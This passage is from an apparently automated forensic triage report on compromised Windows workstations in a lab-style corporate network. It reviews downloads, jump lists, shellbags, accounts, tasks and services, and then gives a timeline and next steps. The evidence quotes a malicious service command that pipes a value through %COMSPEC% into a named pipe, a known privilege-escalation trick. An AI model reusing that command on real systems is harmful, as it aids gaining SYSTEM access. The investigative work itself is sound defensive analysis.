  • Severely truncated temporal coverage: The provided CSV subsets cover only discrete slices (primarily mid-2018) of the full artifact range (2018–2021-02-01), leaving the majority of the timeline—including all late-2018 through 2021 activity—unassessable. Additionally, no history exists for the ~5 years between the last record (2021-02-01) and the current analysis date (2026-06-13).
  • Missing browser and account datasets: Chrome (790 records) and Firefox (240 records) are essentially absent from the provided CSV, as are the 1,376 deduplicated Internet Explorer records and eight Administrator account history records summarized in aggregate statistics, preventing assessment of privileged or alternate-browser activity.
  • Aggregate-only indicators: Sixteen visits to mail.protonmail.com and three referrer visits to spiderfoot.net appear only in summary statistics; the underlying row-level timestamps and URLs were not included in the provided CSV extracts, so their full context cannot be evaluated.
  • Missing correlation artifacts: Browser history alone lacks download paths, file names, MIME types, hashes, cache contents, cookies, DNS queries, or proxy/network flow data, so drive-by downloads, payload execution, exfiltration, or C2 callbacks cannot be confirmed or ruled out.
  • Deduplication and hidden record blind spots: Deduplication removed 465 timestamp/ID-only duplicates, and 124 records are marked hidden; this may obscure rapid successive visits to malicious resources or repetitive patterns.
  • Incomplete fields and private browsing gaps: Many rows lack visit_type, typed, hidden, and title values, and history does not capture InPrivate/Incognito sessions or artifacts cleared by a user or attacker.
Browser Downloads (browser.downloads) MEDIUM
Record Count 75
Time Range Start 2018-07-02T04:13:51.124075
Time Range End 2018-08-29T17:08:05.566198

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] OSINT reconnaissance tool SpiderFoot downloaded.
  • Evidence: row 50, ts_start 2018-08-08T14:20:05.660023+00:00, path C:\Users\mhill\Downloads\spiderfoot-2.12.0-src.tar.gz, url http://spiderfoot.net/files/spiderfoot-2.12.0-src.tar.gz.
  • Why it matters: SpiderFoot is an open-source intelligence automation platform used for reconnaissance; its presence on a workstation during a suspected network compromise may indicate unauthorized intelligence gathering or pre-exfiltration activity.
  • Alternative explanation: The user may have downloaded it for legitimate security research, penetration testing, or network administration.
  • Verify: Examine Prefetch, Amcache, and process execution logs for evidence that the archive was extracted or that sf.py / spiderfoot.exe was executed.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Confidential internal project document retrieved from internal SharePoint.
  • Evidence: row 47, ts_start 2018-08-02T20:34:04.558643+00:00, path C:\Users\mhill\Downloads\CONFIDENTIAL - Project Mayhem.pptx, url http://projects.srl-sharepoint.com/Project%20Mayhem/CONFIDENTIAL%20-%20Project%20Mayhem.pptx.
  • Why it matters: An explicitly labeled confidential file was downloaded from an internal project site to a local workstation, which could represent data staging or unauthorized collection during an intrusion.
  • Alternative explanation: The user may be an authorized Project Mayhem participant who downloaded the file for legitimate work.
  • Verify: Cross-reference SharePoint access/audit logs and document rights management to confirm authorization, and check for subsequent file movement, compression, or exfiltration.

IOC Status

No explicit IOCs were provided in the investigation context.

Data Gaps

  • Execution artifacts (Prefetch, Amcache, Sysmon) are absent, so we cannot determine whether SpiderFoot, 7-Zip, or any downloaded file was extracted or executed.
  • Browser history is not included, preventing assessment of whether downloads were user-initiated or triggered by phishing/malicious pages.
  • Network artifacts (DNS, proxy, firewall, NetFlow) are unavailable, so we cannot identify command-and-control callbacks or data exfiltration associated with these downloads.
  • Authorization context for Project Mayhem and the tdungan SharePoint personal site (rows 32–34) is unknown; access may be legitimate collaboration.
  • Only the mhill profile is represented; compromise of other accounts or use of alternate browsers/profiles would not be visible here.
  • The artifact window is limited to 2018-07-02 through 2018-08-29; any downloads outside this range or cleared browser data are invisible.
Automatic Jump Lists (jumplist.automatic_destination) HIGH
Record Count 254
Time Range Start 2018-05-08T14:04:26.701517
Time Range End 2020-09-21T00:59:54.319891

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Domain administrator account administrator.shieldbase had an interactive session on this workstation.
  • Evidence: Rows 251–256, username administrator.shieldbase, lnk_atime 2018-05-07T21:48:32.975895+00:00, lnk_path C:\Users\administrator.shieldbase\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms, targeting standard profile folders (Documents, Desktop, Pictures, Downloads, Videos, Music).
  • Why it matters: Interactive domain admin logon to a workstation exposes privileged credentials to LSASS/token theft if the host is compromised, providing a direct path to domain-wide lateral movement.
  • Alternative explanation: Legitimate administrative setup or maintenance activity.
  • Verify: Check Windows Security event logs for Event ID 4624/4648 logon type 2 or 10 for administrator.shieldbase on this host around 2018-05-07; hunt for credential dumping artifacts (e.g., LSASS access, Kerberoasting).
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] OSINT/reconnaissance tool spiderfoot-2.12.0-src.tar.gz discovered in user Downloads and opened by Notepad.
  • Evidence: Row 127 (C:\Users\mhill\Downloads\spiderfoot-2.12.0-src.tar.gz referenced in Quick Access), row 155 (Notepad 64-bit opening the same archive, lnk_mtime 2020-02-16T16:08:20.107853+00:00).
  • Why it matters: SpiderFoot is an open-source intelligence and network reconnaissance framework; its presence on a corporate workstation during a suspected compromise may indicate attacker reconnaissance or unauthorized data-gathering activity.
  • Alternative explanation: User downloaded it for legitimate competitive intelligence work (corroborated by access to Competitive_Intel_Metals_Cybernetics.docx, rows 128/249).
  • Verify: Inspect browser/download history for the source URL, check if the archive was extracted or executed, and correlate with outbound connection logs or Proxy/Firewall data for SpiderFoot scanning behavior.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Local Administrator account used interactively on the workstation.
  • Evidence: Rows 1–6, username Administrator, lnk_atime 2018-05-09T02:55:04.210335+00:00, accessing profile folders (Downloads, Desktop, Pictures, Documents, Videos, Music).
  • Why it matters: Interactive local admin usage can indicate privilege escalation, troubleshooting, or attacker activity; it expands the credential exposure surface if the host is compromised.
  • Alternative explanation: Initial system setup or IT maintenance.
  • Verify: Cross-reference with Windows Security logs for logon type 2 at this timestamp and review process execution artifacts for concurrent privileged activity.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] User accessed sensitive operational and financial data on network shares, including undercover agent rosters, credit card numbers, backstopped accounts, and wire transfer details.
  • Evidence: Rows 84/121/186/191 (Management\Undercover Agents\Undercover-Agents-List-For-United-Kingdom.xls and ...United-States.xlsx), rows 118/189 (R&D\Credit-Card-Numbers-For-Research.xls), rows 119/190 (R&D\CC-Backstopped-Accounts.xlsx), rows 98/245 (R&D\Starkjökull\project logistics\Project_800724_WireTransferInfo.docx), rows 47/241 (MH_Eyes_Only\SRL_BoardMeetingNotes_Q2_2018.docx).
  • Why it matters: In a suspected network compromise, these are high-value intelligence targets; bulk or anomalous access may indicate data staging or exfiltration.
  • Alternative explanation: User mhill may hold a legitimate role requiring access to these documents.
  • Verify: Validate the user's role and need-to-know; correlate with file server (BASE-FILE) SMB audit logs and DLP/exfiltration alerts for anomalous copy or transfer activity.

Data Gaps

  • No direct execution evidence: Jump Lists track file/application access via Explorer and common apps, not command-line execution or process creation. This artifact cannot confirm or deny execution of privilege escalation tools (e.g., Mimikatz), scripted attacks, or living-off-the-land binaries.
  • Absence of attacker staging locations: No entries reference %TEMP%, %APPDATA%\Local, ProgramData, or suspicious binary paths, meaning malware payload staging or execution from typical attacker directories is not visible here.
  • Limited recent activity: The vast majority of target file interactions cluster in mid-2018; only sparse 2020 activity (e.g., rows 154/157, 2020-02-16) is present. It is unclear whether user activity genuinely stopped or if Jump Lists were cleared, rebuilt, or rotated.
  • Cannot confirm exfiltration: While sensitive network share paths were accessed (via mapped S: and \\BASE-FILE\shieldbase-share), this artifact cannot determine whether files were copied, archived, or exfiltrated. SMB share audit logs, DLP telemetry, and network flow data are required.
  • No lateral movement tools visible: No Jump List entries reference Remote Desktop clients, VPN software, PsExec, or file-sync utilities that would indicate lateral movement or exfiltration channels.
  • Container timestamp artifact: The clustered lnk_mtime of 2020-09-21T00:59:54 across 109 entries (Quick Access) likely reflects Jump List container file refresh or OS maintenance rather than individual user access events, complicating timeline interpretation.
Custom Jump Lists (jumplist.custom_destination) UNSPECIFIED
Record Count 17
Time Range Start 2018-05-09T02:56:09.250851
Time Range End 2020-09-21T05:27:41.717676

Nothing suspicious was detected in the Custom Jump Lists data; all entries reflect routine browser, email, and productivity application usage with no indicators of malicious execution, persistence, lateral movement, or credential access.

Data Gaps

  • Missing MRU/MFU metadata: This artifact contains only CustomDestinations (pinned/curated entries); AutomaticDestinations DestList data, which tracks most-recently and most-frequently used items, was not provided, so ad-hoc recent file/application access is not visible.
  • Deduplication obscures timeline granularity: Twelve rows were removed as timestamp/ID-only duplicates (e.g., rows 6 and 11 each suppressed 4 near-duplicate records). The discarded timestamp variants could have refined activity sequencing or frequency.
  • Null target timestamps: Four records (rows 1, 5, 26, 29) report target timestamps of 1601-01-01T00:00:00, indicating missing target file system metadata that limits validation of when the target binaries were actually created or modified on disk.
  • No execution proof: Custom Jump Lists indicate user/application interaction but do not prove execution; correlation with Prefetch, Amcache, SRUM, or EDR telemetry is required to confirm the applications or commands were actually launched.
  • Absence of network paths: No UNC paths, administrative shares, or remote resources appear in these curated jump lists; however, this does not rule out lateral movement or remote access via mechanisms (e.g., RDP, SMB, mapped drives) not captured in this artifact.
  • Lack of incident timeframe: Without a defined compromise window, it is impossible to determine whether the most recent activity cluster (2020-09-21) is relevant to the suspected intrusion.
  • Incomplete AppID resolution: Some entries (e.g., Edge Browser in rows 1 and 26) lack resolved target paths, arguments, or link names, limiting visibility into exactly what was accessed.
Shellbags (shellbags) MEDIUM
Record Count 122
Time Range Start 2012-03-12T20:49:00
Time Range End 2020-09-21T00:59:37.624277

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Lateral movement and anomalous 2020 access to proxy certificate directories on domain file server storage.
  • Evidence: row_ref 5, ts_mtime 2018-07-07T16:23:30+00:00, path Network\<USERS_PROPERTY_VIEW {999534523}>\base-file\installers\Proxy\Asgard CA Cert (username mhill); row_ref 72, ts_mtime 2020-09-21T00:24:12+00:00, path My Computer\S:\Public\Proxy (username mhill); row_ref 73, ts_mtime 2020-09-21T00:24:12+00:00, path My Computer\S:\Public\Proxy\Asgard CA Cert (username mhill).
  • Why it matters: Explorer browsing of proxy CA certificate paths on a domain file server (base-file) and on what appears to be a mapped drive (S:) two years apart suggests potential staging or inspection of certificates for traffic interception; the September 2020 timestamps are anomalous against a predominantly 2018 baseline.
  • Alternative explanation: Legitimate IT administration or software deployment requiring proxy certificate installation.
  • Verify: Inspect file server and workstation MFT/USN for these paths; audit the workstation’s installed root CA certificates; review SMB Security Event Logs on base-file for mhill authentication on 2018-07-07 and S: drive mappings in 2020.
  • [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Unusual root-level C:\Quarantine directory browsed by a standard user.
  • Evidence: row_ref 64, ts_mtime 2019-12-17T02:22:28+00:00, path My Computer\C:\Quarantine, username mhill.
  • Why it matters: A user-browsed folder named Quarantine at the root of C:\ is atypical and may indicate malware isolation, attacker staging, or non-standard security tooling.
  • Alternative explanation: Antivirus or endpoint protection suite created the folder and the user later browsed it.
  • Verify: Examine C:\Quarantine contents and directory creation timestamps; cross-reference with antivirus/EDR logs from December 2019.

IOC Status

No explicit IOC patterns were provided in the investigation context.

Data Gaps

  • Credential access: This artifact contains no evidence of browsing credential stores (e.g., SAM, SECURITY, System32\config, Credential Manager, or LSASS-related directories). Credential theft cannot be assessed from shellbags alone.
  • Persistence mechanisms: No Startup folders, Scheduled Tasks directories, or known persistence locations (e.g., Run key registry paths) appear in the data.
  • Execution evidence: Shellbags record folder views, not process execution; no Mimikatz, PsExec, or other common tooling directories were observed.
  • Temporal limitations: ts_atime and ts_btime are entirely absent, and many rows lack ts_mtime, limiting precise timeline reconstruction. The sparse 2019–2020 entries (only 3 dated rows after 2018) make it difficult to distinguish reduced usage from evidence gaps.
  • Attribution: Cannot determine whether mhill activity was the legitimate user or a compromised account without corroborating logon event telemetry.
  • Cross-host confirmation: File server-side Security Event Logs (e.g., Event IDs 5140/4656) and the MFT/USN journal from base-file are required to confirm what actions occurred within the browsed network directories.
SAM Users (sam) HIGH
Record Count 6
Time Range Start 2017-12-15T04:59:37.603455
Time Range End 2018-05-07T19:24:57.233910

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious local account "range_admin" created post‑deployment with zero interactive logons but a recent password change.
  • Evidence: row_ref 6, username range_admin, RID 1003, ts 2018-05-04T22:14:19.395981+00:00, lastpasswordset 2018-08-29T02:57:29.361269+00:00, logins 0, lastlogin 1601-01-01T00:00:00+00:00 (never).
  • Why it matters: A non‑standard local account created months after system setup and later given a password reset despite never being used for interactive logon matches attacker persistence behavior (local credential backdoor or service‑based access).
  • Alternative explanation: Legitimate service account or lab‑environment administrative account created for automation.
  • Verify: Correlate with Security EVTX Event ID 4720 on 2018-05-04 and Event IDs 4724/4723 on 2018-08-29; inspect local Administrators group membership via SAM group metadata or EVTX 4732.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Built‑in Administrator and "range_admin" passwords changed within ~86 seconds on the same day.
  • Evidence: row_ref 1, username Administrator, lastpasswordset 2018-08-29T02:56:03.360323+00:00; row_ref 6, username range_admin, lastpasswordset 2018-08-29T02:57:29.361269+00:00.
  • Why it matters: Near‑simultaneous password resets on a suspicious local account and the built‑in Administrator suggest coordinated activity, such as an attacker consolidating access or forcing a reset after credential exposure.
  • Alternative explanation: Automated domain password policy enforcement or bulk administrative maintenance.
  • Verify: Review Security EVTX for password‑reset events around 2018-08-29 02:56 UTC and compare the Caller User Name / Workstation fields.
  • [SEVERITY: LOW] [CONFIDENCE: LOW] Sequential RID gap between defaultuser0 (1000) and range_admin (1003) suggests possible deleted local accounts.
  • Evidence: row_ref 5, RID 1000; row_ref 6, RID 1003; no records for RID 1001 or 1002 in the 6‑row SAM output.
  • Why it matters: Missing RIDs may indicate previously created accounts were removed to conceal persistence, though this cannot be confirmed from the current extract.
  • Alternative explanation: Legitimate user provisioning/deprovisioning or skipped RIDs during system setup.
  • Verify: Examine SAM registry for deleted user keys or Security EVTX Event ID 4726 deletions between 2017-12-15 and 2018-05-04.

Data Gaps

  • Group membership is absent. This artifact does not show whether range_admin or Administrator belong to the local Administrators group; SAM group metadata or EVTX Event IDs 4732/4756 are required.
  • Flags are unmapped. The numeric flags values (e.g., 528, 16) are not decoded to explicit account controls (e.g., disabled, password‑not‑required), limiting state interpretation.
  • Non‑interactive logons are invisible. SAM lastlogin tracks only interactive logons; any network, batch, or service logons by range_admin are not captured here.
  • No event log correlation. Without EVTX, the actor, source workstation, and method of account creation or password change cannot be determined.
  • Ambiguous timestamp semantics. The ts column is not documented (creation time vs. last registry key modification), limiting precise timeline reconstruction.
Network History (network_history) UNSPECIFIED
Record Count 3
Time Range Start 2018-05-07T19:24:57.000936
Time Range End 2019-11-14T19:46:36.000814

Nothing suspicious was detected in the Network History artifact; all observed profiles are associated with the corporate shieldbase.lan domain and the same default_gateway_mac (a2c6c7000705), with no rogue SSIDs, unexpected DNS suffixes, or off-premise network indicators present.

Data Gaps

  • Limited profile count and visibility. Only three profiles are recorded across roughly 3.5 years (created 2018-05-07 to 2019-11-14). This sparse history cannot rule out deletion, renaming, or registry clearing of other networks that may have been used during the suspected incident window.
  • Relevant rows: row 1 (created 2018-05-07), row 2 (created 2019-06-13), row 3 (created 2019-11-14).
  • No user or session attribution. This artifact does not record which user account was active during any last_connected event, preventing correlation with suspicious logon timelines.
  • Ambiguous generic profile. Row 3 (profile_name/description = Network, created 2019-11-14T14:46:36.000814-05:00, last_connected 2020-09-27T13:57:07.000864-04:00) is a generic Windows default name. Whether it represents an adapter reset, an unidentified local segment, or a previously named profile that was reset cannot be determined from these fields alone.
  • Interface type is implicit. The registry values do not explicitly state whether each profile was wired, wireless, or VPN; interpretation would require decoding signature bitmasks or cross-referencing with SRUM/WLAN event logs.
  • Timezone variance. Records use mixed UTC offsets (-04:00 and -05:00), requiring normalization before precise timeline correlation with other artifacts.
  • Cross-artifact dependency. To detect deleted network profiles, rogue gateway MAC reuse, or actual data transfer, this artifact must be compared against SRUM, Microsoft-Windows-WLAN-AutoConfig/Operational event logs, DHCP lease history, and VPN/proxy logs, none of which are present here.
base-wkstn-05-cdrive

Image Summary

Executive Summary

BASE-WKSTN-05 is compromised with high confidence. The host contains multiple confirmed persistent malware artifacts: an auto-start service (PerfMon) using a binary downloaded by user nfury from an untrusted domain only minutes before the service was registered; a disabled but suspicious service (tbbd05) configured to write to a named pipe; and an unrecognized kernel driver (mnemosyne). A local backdoor account (range_admin) was enabled and its password was reset within seconds of the built-in Administrator account. The same user (nfury) who downloaded the malicious binary also browsed a DMZ FTP server share and bulk-downloaded confidential financial documents from SharePoint hours later, indicating an active intrusion with persistence, privilege escalation, and data collection.

Timeline

  • 2018-05-03T19:15:37+00:00 | Recycle Bin | 30.4 MB executable SystemInit-dev.exe deleted from the built-in Administrator Desktop (row_ref 1). | HIGH
  • 2018-05-14T04:19:12+00:00 | UserAssist | Built-in Administrator interactively launched cmd.exe from the Explorer shell with sustained focus duration (row_ref 123). | MEDIUM
  • 2018-07-10T06:53:46+00:00 | Shimcache | Anomalous Setup.exe present in randomly-named root directory C:\487085abfd036853a6\ (row_ref 240). | HIGH
  • 2018-08-07T14:16:00+00:00 | Scheduled Tasks | Task Update_Sysmon_Rules created by rsydow-a to run C:\ProgramData\sysmon\Auto_Update.bat as SYSTEM with highest privileges (row_refs 15–16). | MEDIUM
  • 2018-08-07T16:20:14+00:00 | Shellbags | User nfury browsed DMZ FTP path dmz-ftp\srl-ftp\Users\nfury\Asgard and had a mapped Z: drive to the same path (rows 6, 157, 168). | HIGH
  • 2018-08-07T16:58:14+00:00 | Shellbags | User nfury browsed base-file\installers\SysInternals network share (row 9). | HIGH
  • 2018-08-08T15:48:16+00:00 | Shellbags | User nfury browsed C:\System Volume Information (row 125). | HIGH
  • 2018-08-15T17:10:31+00:00 | Shimcache | Sysinternals Autorunsc.exe present in non-standard C:\Windows path (row_ref 243). | MEDIUM
  • 2018-08-29T03:06:01+00:00 | SAM Users | Built-in Administrator password reset (row_ref 1), followed 26 seconds later by range_admin password reset (row_ref 3). | MEDIUM
  • 2018-08-31T18:35:58+00:00 | Browser Downloads | User nfury downloaded perfmonsvc64.exe (10.50 KB) from https://www.technicalbird.com (row_ref 59). | HIGH
  • 2018-08-31T18:38:44+00:00 | Services | PerfMon auto-start service registered pointing to c:\windows\system32\perfmonsvc64.exe as LocalSystem (row_ref 265). | HIGH
  • 2018-08-31T20:05:55+00:00 | Services | tbbd05 service registered with shell command writing hex string b6a1458f396 to \pipe\334485 (row_ref 354). | HIGH
  • 2018-08-31T20:56:38+00:00 | Shellbags | User nfury browsed C:\Windows\Temp (row 123). | HIGH
  • 2018-08-31T21:00:09+00:002018-08-31T21:05:29+00:00 | Browser Downloads | nfury downloaded multiple confidential documents (including Project_800724_WireTransferInfo.docx and CONFIDENTIAL - Project Mayhem.pptx) from SharePoint (rows 1–23). | MEDIUM
  • 2018-09-06T19:37:41+00:00 | Services | Unrecognized kernel driver mnemosyne registered pointing to C:\windows\Mnemosyne.sys (row_ref 190). | HIGH

Attack Narrative

  • Initial AccessInferred/Insufficient evidence. No artifact identifies the initial compromise vector. The presence of attacker tools as early as May 2018 and the anomalous Setup.exe in July 2018 suggest the host was compromised well before the August peak of activity.
  • ExecutionConfirmed/Partial. nfury downloaded perfmonsvc64.exe via Chrome. The appearance of the matching PerfMon service registry entry roughly three minutes later strongly implies the binary was executed to install persistence. Separately, the built-in Administrator launched cmd.exe interactively on 2018-05-14.
  • PersistenceConfirmed. Multiple mechanisms: (1) PerfMon auto-start service (perfmonsvc64.exe); (2) tbbd05 service (currently disabled but present, redirecting output to a named pipe); (3) mnemosyne kernel driver (manual start); (4) Update_Sysmon_Rules scheduled task running as SYSTEM; and (5) enabled local account range_admin (RID 1006) with a recently set password.
  • Privilege EscalationInferred. The registration of a kernel driver and a SYSTEM auto-start service requires elevated privileges. The near-simultaneous password resets on Administrator and range_admin within 26 seconds on 2018-08-29 are consistent with credential takeover or maintenance of elevated access.
  • Lateral MovementConfirmed/Partial. nfury accessed the DMZ FTP server (dmz-ftp) and an internal file server (base-file) via Explorer, including a mapped Z: drive to the FTP share. The Administrator account browsed shares on base-file and 10.10.254.1. Whether this reflects legitimate administration or attacker-controlled account usage requires log correlation.
  • CollectionConfirmed. Between 21:00 and 21:05 UTC on 2018-08-31, nfury bulk-downloaded confidential financial and project documents from SharePoint. Earlier browsing of C:\System Volume Information may indicate an attempt to access Volume Shadow Copies.
  • ExfiltrationNot observed. While DMZ FTP access and SharePoint downloads suggest staging, no network upload artifacts, proxy logs, or cloud-sync telemetry were provided to confirm data exfiltration.

Gaps and Unknowns

  • No Windows Event Logs (EVTX) were provided, preventing confirmation of service creation (Event ID 7045), authentication events (4624/4625/4672), process creation (4688), or scheduled task execution history.
  • Execution status unconfirmed for most suspicious binaries. Amcache identified no suspicious execution, Shimcache records presence but not execution, and Prefetch/SRUM are absent. It is unknown whether tbbd05 (disabled) or mnemosyne (manual) were ever started, or whether SystemInit-dev.exe ran before deletion.
  • Missing cryptographic hashes and signatures for perfmonsvc64.exe, Mnemosyne.sys, SystemInit-dev.exe, and Auto_Update.bat, preventing definitive attribution.
  • Scheduled task execution history is absent: last_run_date was empty for all 240 task records, so it is unknown whether Update_Sysmon_Rules ever executed.
  • No memory or live-response data, so the named pipe \pipe\334485 referenced by tbbd05 cannot be confirmed as active or historical.
  • Initial access vector unidentified: No artifact explains how the attacker first compromised the host or the nfury account.
  • Anti-forensic indicators: The deletion of SystemInit-dev.exe into the Recycle Bin and the disabled state of tbbd05 may represent cleanup or stealth, but no explicit log-clearing or timestomping was detected.

Recommended Next Steps

  1. Immediate Containment — Isolate BASE-WKSTN-05 from the network. Disable the range_admin account and the PerfMon service. Capture volatile memory before shutdown to inspect for active named pipes (especially \pipe\334485) and loaded kernel modules.
  2. Collect and Hash Suspicious Binaries — Obtain C:\windows\system32\perfmonsvc64.exe, C:\windows\Mnemosyne.sys, $Recycle.Bin\$RN7334I.exe (SystemInit-dev.exe), C:\ProgramData\sysmon\Auto_Update.bat, and C:\487085abfd036853a6\Setup.exe for hashing and sandbox analysis.
  3. Acquire Windows Event Logs — Pull Security, System, and Task Scheduler operational EVTX to confirm service creation (7045), logon sessions for nfury and Administrator around 2018-08-31, and scheduled task history (Event IDs 106/129/200).
  4. **Investigate nfury Account Compromise** — Review domain controller and local Security logs for nfury logon sources, types, and any anomalous patterns around 2018-08-31. Check for concurrent logons or off-hours interactive sessions.
  5. Correlate Network Telemetry — Review firewall/proxy/DNS logs for connections to technicalbird.com around 2018-08-31T18:35Z, and SMB/RDP sessions from BASE-WKSTN-05 to dmz-ftp, base-file, and 10.10.254.1.
  6. Validate Sysmon Deployment — Inspect C:\ProgramData\sysmon\Auto_Update.bat contents to determine whether the Update_Sysmon_Rules task is a legitimate administrative artifact or attacker masquerade.

Per-Artifact Findings

Run/RunOnce Keys (runkeys) UNSPECIFIED
Record Count 12
Time Range Start 2009-07-14T04:45:47.878048
Time Range End 2018-08-31T18:37:21.184366

Nothing suspicious was detected in the Run/RunOnce registry data for this host.

Data Gaps

  • Executed RunOnce values are absent by design. RunOnce entries self-delete after execution, so any malicious values that already ran would not appear in this artifact. The presence of current RunOnce values (e.g., mctadmin.exe) only indicates they have not yet executed or were re-created.
  • No file integrity verification. The artifact references executables by path only (e.g., C:\Windows\System32\mctadmin.exe, C:\Program Files\VMware\VMware Tools\vmtoolsd.exe). Without hashes or signature data, masquerading or binary replacement cannot be ruled out.
  • Registry LastWriteTime ambiguity. The provided timestamps reflect the registry key LastWriteTime, not the creation time of individual values, which limits precise timeline correlation.
  • Correlated timestamps noted but unexplained. For profiles cbarton-a and spsql, Sidebar (Run) and mctadmin (RunOnce) entries share identical timestamps (2018-08-15T15:29:18.611773+00:00 and 2018-08-31T18:37:21.184366+00:00, respectively). This is consistent with profile provisioning or GPO application, but the root cause cannot be determined from this artifact alone.
  • Missing coverage of other persistence locations. Startup folders, scheduled tasks, services, WMI event subscriptions, and other registry autorun keys are not represented here.
Scheduled Tasks (tasks) MEDIUM
Record Count 240
Time Range Start 1982-01-16T00:30:00
Time Range End 2026-06-13T06:17:52.959916

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Suspicious scheduled task Update_Sysmon_Rules executes an unquoted batch script from a user-writable directory as SYSTEM with highest privileges.
  • Evidence: row_ref 15 (date: 2018-08-07T14:16:00+00:00, author: rsydow-a, user_id: S-1-5-18, run_level: HighestAvailable, enabled: True); row_ref 16 (command: C:\ProgramData\sysmon\Auto_Update.bat, arguments: empty).
  • Why it matters: A non-Microsoft, user-authored task running a batch file from C:\ProgramData as SYSTEM is a classic persistence mechanism that could allow an attacker to maintain privileged access and execute arbitrary code each time the task triggers.
  • Alternative explanation: A systems administrator may have manually created this task to automate Sysmon rule updates on the endpoint.
  • Verify: Retrieve and inspect the contents and hash of C:\ProgramData\sysmon\Auto_Update.bat; review Task Scheduler operational EVTX (Event IDs 106, 129, 200) for execution history of this task; confirm whether a legitimate Sysmon deployment workflow uses this path and author.

Data Gaps

  • Trigger definitions are absent from this extract (no start boundary, repetition interval, or boot/logon trigger fields), so the activation conditions and persistence timing for the anomalous task cannot be assessed.
  • **last_run_date is empty for all 240 records**, making it impossible to determine if Update_Sysmon_Rules or any other task has ever executed or when it last ran. This could indicate extraction limitations, history clearing, or a dormant system.
  • Task Scheduler operational logs (EVTX) were not provided; these are required to confirm task creation, modification, execution, or failure events that would corroborate malicious use.
  • File contents/hashes for C:\ProgramData\sysmon\Auto_Update.bat are not available in this artifact, preventing confirmation of whether the payload is benign or malicious.
  • No incident timeframe is established, so while the 2018-08-07 creation date is anomalous relative to surrounding OS-default tasks, its direct relevance to the current suspected compromise is unclear without additional host or network context.
Services (services) HIGH
Record Count 462
Time Range Start 2009-07-14T04:49:01.583588
Time Range End 2018-09-07T03:05:11.566111

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Malicious service tbbd05 configured with a shell command that writes a hex value to a hardcoded named pipe.
  • Evidence: row_ref 354, ts 2018-08-31T20:05:55.858471+00:00, name tbbd05, imagepath %COMSPEC% \c echo b6a1458f396 > \pipe\334485, objectname LocalSystem, start Disabled (4), type Service - Own Process (0x10).
  • Why it matters: A service registry entry containing a command-line redirection to a named pipe is not legitimate Windows behavior; it indicates attacker staging, persistence, or a covert IPC mechanism for credential access or payload delivery.
  • Alternative explanation: None; no legitimate software installs a service with this configuration.
  • Verify: Check Security/System EVTX for Event ID 7045 around 2018-08-31T20:05:55Z; inspect live processes and handles for \pipe\334485; search memory and disk for the hex string b6a1458f396.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Unrecognized kernel driver mnemosyne installed in the Windows root directory.
  • Evidence: row_ref 190, ts 2018-09-06T19:37:41.680998+00:00, name mnemosyne, displayname mnemosyne, imagepath \??\C:\windows\Mnemosyne.sys, start Manual (3), type Kernel Device Driver (0x1).
  • Why it matters: A kernel driver with a non-vendor name, no description, and a path in C:\windows\ is consistent with kernel-mode persistence or a rootkit.
  • Alternative explanation: Unlikely; standard enterprise drivers do not use generic mythological names and are not dropped in the Windows root without installer metadata.
  • Verify: Obtain file hash and signature status of C:\windows\Mnemosyne.sys; review EVTX 7045/6 for driver load events; compare against host baselines and threat intel.
  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Auto-start service PerfMon masquerading as a system performance tool via a non-standard binary.
  • Evidence: row_ref 265, ts 2018-08-31T18:38:44.107656+00:00, name PerfMon, displayname Perf Monitor, imagepath c:\windows\system32\perfmonsvc64.exe, objectname LocalSystem, start Auto Start (2), type Service - Own Process (0x10).
  • Why it matters: The binary perfmonsvc64.exe does not correspond to any known legitimate Windows service; running as LocalSystem with auto-start provides persistent elevated execution that mimics a benign system component.
  • Alternative explanation: None plausible; Windows does not ship with this service name or binary.
  • Verify: Hash c:\windows\system32\perfmonsvc64.exe; review its creation time, digital signature, and strings; correlate with EVTX 7045 around 2018-08-31T18:38:44Z.

Data Gaps

  • Deduplication opacity: 1,360 rows were removed as timestamp/ID-only duplicates, leaving 462 annotated records. This obscures whether the suspicious services were modified multiple times or had repeated install events.
  • No service creation audit data: Without Security/System EVTX (e.g., Event ID 7045), the creation time, installing user, and install method for tbbd05, mnemosyne, and PerfMon cannot be confirmed.
  • No binary validation: File hashes, signatures, and metadata for perfmonsvc64.exe, Mnemosyne.sys, and the F-Response subject_srv.exe are unavailable in this artifact, preventing definitive attribution.
  • Execution status unknown: Process telemetry (e.g., EDR, prefetch, memory) is absent, so we cannot determine whether the disabled tbbd05 or manual mnemosyne were ever started, or whether PerfMon is currently running.
  • Named pipe inaccessibility: The artifact references \pipe\334485 but provides no pipe or handle data; live response or memory analysis is required to assess whether this pipe was created or is in use.
  • Missing driver metadata: Many kernel drivers lack imagepath or description fields in this extract, preventing full validation of the kernel-mode load footprint.
Shimcache (shimcache) HIGH
Record Count 272
Time Range Start 2009-07-14T01:14:18.243000
Time Range End 2018-08-23T13:16:49.913994

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: HIGH] Anomalous setup executable present in a non-standard, randomly-named root directory.
  • Evidence: last_modified 2018-07-10T06:53:46+00:00, path C:\487085abfd036853a6\Setup.exe, row_ref 240.
  • Why it matters: Unpredictable hexadecimal directory names directly under C:\ are commonly used by malware droppers, self-extracting archives, or attacker staging tools; Shimcache entry confirms the OS scanned this executable.
  • Alternative explanation: Rarely, a legitimate installer may extract to a randomly-named root folder, but this is atypical for enterprise software deployment.
  • Verify: Check Prefetch/Amcache/ETW for evidence of execution; recover the file from disk or MFT to obtain hash and signature; examine C:\487085abfd036853a6\ directory contents in MFT.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Sysinternals Autoruns utility present in the Windows system directory.
